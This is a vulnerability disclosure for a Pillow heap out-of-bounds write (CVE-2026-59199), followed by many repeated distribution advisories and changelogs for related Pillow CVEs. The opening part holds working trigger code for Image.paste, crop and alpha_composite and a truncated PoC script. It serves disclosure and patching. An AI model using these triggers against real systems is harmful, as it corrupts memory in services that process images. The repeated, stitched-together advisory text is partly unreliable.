CVE-2026-59199

Summary

Pillow's public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits. In 4-byte pixel modes such as RGBA, this becomes a controlled backward heap underwrite: for a source image of width W, Pillow writes 4 * W attacker-controlled bytes starting 4 * W bytes before the destination row pointer. With successful large image allocation, the theoretical upper bound is ~2 GiB backwards from the destination row.

Minimal public API trigger:

from PIL import Image

INT_MIN = -(1 << 31)

src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))

The same root cause is also reachable through Image.crop() and Image.alpha_composite(). No private API, ctypes, custom Python object, or malformed image file is needed.

This has been confirmed as an ASAN heap-buffer-overflow write. On normal non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with double free or corruption (out)

Details

src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native ImagingCore.paste() method:

self.im.paste(source, box)

src/_imaging.c:_paste() parses the four Python coordinates into signed int values and calls ImagingPaste():

int x0, y0, x1, y1;
PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);

src/libImaging/Paste.c:ImagingPaste() computes and clips the region using signed int arithmetic:

xsize = dx1 - dx0;
ysize = dy1 - dy0;

if (dx0 + xsize > imOut->xsize) {
    xsize = imOut->xsize - dx0;
}

With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2. That matches the 2-pixel source image, so the size check passes. The later dx0 + xsize clip check wraps around and does not reject the out-of-bounds destination.

For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by pixelsize:

dx *= pixelsize;
xsize *= pixelsize;
memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);

For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the destination row allocation.

The primitive scales with the attacker-controlled source width:

source width = W
box = ((1 << 31) - W, 0, INT_MIN, 1)

C destination offset = -4 * W
C memcpy size        =  4 * W
write range          = [row_start - 4W, row_start)

Examples for RGBA:

W = 2         -> writes 8 bytes before the row
W = 1024      -> writes 4096 bytes before the row
W = 65536     -> writes 256 KiB before the row
W = 1000000   -> writes about 4 MiB before the row

Pillow's image creation guard currently limits xsize to roughly INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is 2,147,483,640 bytes before the destination row pointer. In practice, the usable range depends on memory availability, allocator layout, and process heap state.

Two other documented APIs reach the same sink:

# Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))

# Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))

Image.crop() keeps right - left small, so the Python decompression-bomb check allows it. src/libImaging/Crop.c then computes wrapped paste coordinates and calls ImagingPaste().

PoC

The following standalone script exercises all three public API paths. Save it as b021_poc.py and run it with paste, crop, or alpha.

#!/usr/bin/env python3
import argparse
import sys

from PIL import Image


INT_MIN = -(1 << 31)


def rgba_pattern(width):
    out = bytearray()
    for i in range(width):
        out +=…

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)

Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)

Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.

TuxCare rebuilt pillow to address 9 CVEs. Fixed in 11.2.1.post4+tuxcare.

TuxCare rebuilt pillow to address 1 CVE. Fixed in 10.4.0.post3+tuxcare.

TuxCare rebuilt pillow to address 2 CVEs. Fixed in 9.5.0.post6+tuxcare.

TuxCare rebuilt pillow to address 14 CVEs. Fixed in 11.3.0.post5+tuxcare.

TuxCare rebuilt pillow to address 4 CVEs. Fixed in 9.4.0.post8+tuxcare.

TuxCare rebuilt pillow to address 8 CVEs. Fixed in 8.4.0.post8+tuxcare.

• SECURITY UPDATE: heap out-of-bounds write via paste box coordinates near the signed 32-bit integer limits (ELSCVE-233283)
  • debian/patches/CVE-2026-59199.patch: compute the paste box dimensions as int64_t in ImagingPaste() and ImagingFill2() in src/libImaging/Paste.c. Adds a regression test in Tests/test_image_paste.py.
  • CVE-2026-59199
• SECURITY UPDATE: out-of-bounds read when memory-mapping McIdas AREA images with an undersized row stride (ELSCVE-233312)
  • debian/patches/CVE-2026-54058.patch: raise the row stride to at least one full row of pixels in PyImaging_MapBuffer() in src/map.c. Adds a regression test in Tests/test_file_mcidas.py.
  • CVE-2026-54058

Prevent decompression bomb when parsing PDF WindowsViewer.get_command injection EPS image infinite loop JPEG2000 image memory usage McIdas out-of-bounds (OOB) read Out-of-bounds (OOB) read when saving 1 mode TGA images Out-of-bounds (OOB) write from large RankFilter sizes Out-of-bounds (OOB) write from Image.paste() Out-of-bounds (OOB) write in ImageCmsTransform Prevent FontFile decompression bomb Prevent GD decompression bomb

This update for python-Pillow fixes the following issues

• CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
• CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
• CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
• CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
• CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
• CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
• CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).

Root has patched CVE-2026-59199 in the pillow package for Root:PyPI. Multiple fixed versions available.

This update for python-Pillow fixes the following issues

• CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
• CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
• CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
• CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
• CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
• CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
• CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).

This update for python-Pillow fixes the following issues

• CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
• CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
• CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
• CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
• CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
• CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
• CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).

This update for python-Pillow fixes the following issues

• CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
• CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
• CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
• CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
• CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
• CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
• CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch

This update for python-Pillow fixes the following issues:

• CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
• CVE-2026-54059: bomb protection bypass via PCF font loading due to Image.frombytes() being called without _decompression_bomb_check() (bsc#1270409).
• CVE-2026-54060: excessive allocation due to FontFile.compile(): Image.new() being called without _decompression_bomb_check() (bsc#1270410).
• CVE-2026-55379: bomb protection bypass via font loading due to Image.new() being called without _decompression_bomb_check() (bsc#1270411).
• CVE-2026-55380: unchecked 4.3 GB C-heap allocation due to image dimensions being accepted without _decompression_bomb_check() in GdImageFile._open() (bsc#1270412).
• CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
• CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
• CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
• CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
• CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
• CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).

It was discovered that Pillow incorrectly handled map stride values when loading certain McIdas AREA images. An attacker could possibly use this issue to obtain sensitive information or cause a denial of service. (CVE-2026-54058)

It was discovered that Pillow did not properly check for decompression bombs when processing font files. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-54059, CVE-2026-54060, CVE-2026-55379)

It was discovered that Pillow did not properly check for decompression bombs when loading GD image files. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-55380)

It was discovered that Pillow incorrectly validated filter sizes in the rank filter implementation. An attacker could possibly use this issue to cause Pillow to crash or execute arbitrary code. (CVE-2026-59197)

It was discovered that Pillow incorrectly handled image coordinate calculations. An attacker could possibly use this issue to cause Pillow to crash. (CVE-2026-59199)

It was discovered that Pillow did not properly limit the size of decompressed PDF stream data. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-59200)

It was discovered that Pillow incorrectly parsed EPS files containing a negative byte count in the BeginBinary directive. An attacker could possibly use this issue to cause Pillow to hang, resulting in a denial of service. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-59203)

It was discovered that Pillow incorrectly accumulated JPEG2000 tile component widths. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-59204)

It was discovered that Pillow incorrectly validated image mode compatibility in color management transforms. An attacker could possibly use this issue to cause Pillow to crash or execute arbitrary code. (CVE-2026-59205)